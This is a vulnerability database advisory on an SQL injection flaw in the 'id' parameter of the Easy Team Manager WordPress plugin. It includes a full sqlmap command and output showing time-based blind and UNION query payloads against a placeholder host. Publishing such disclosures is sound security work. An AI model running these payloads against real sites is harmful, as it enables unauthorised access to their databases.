The VapidLabs Vulnerability Database

SQL Injection

Summary: The code does not sanitize id before making it part of an SQL statement in file ./easy-team-manager/inc/easy_team_manager_desc_edit.php

Notified: 2017-05-24

Description:

Easy Team Manager helps you to create team members with their short descriptions, social profiles link with smooth hover effects.

Exploit:

$ sqlmap -u 'http://example.com/wordpress/wp-admin/admin.php?page=easy_team_manager_edit&id=*' --load-cookies=./cookies.txt --level=4 --risk=3 --dbms=mysql

[08:39:09] [INFO] URI parameter '#1*' is 'MySQL UNION query (84) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 3115 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: http://example.com:80/wordpress/wp-admin/admin.php?page=easy_team_manager_edit&id=(CASE WHEN (3623=3623) THEN SLEEP(5) ELSE 3623 END)
    Type: UNION query
    Title: MySQL UNION query (84) - 5 columns
    Payload: http://example.com:80/wordpress/wp-admin/admin.php?page=easy_team_manager_edit&id=-5307 UNION ALL SELECT 84,CONCAT(0x7170787a71,0x58795a426e467457726744686879446f4e4d7a576a464758516e6765526549536279426759527443,0x7178787171),84,84,84#
---
[08:39:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology
: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[08:39:15] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'

[*] shutting down at 08:39:15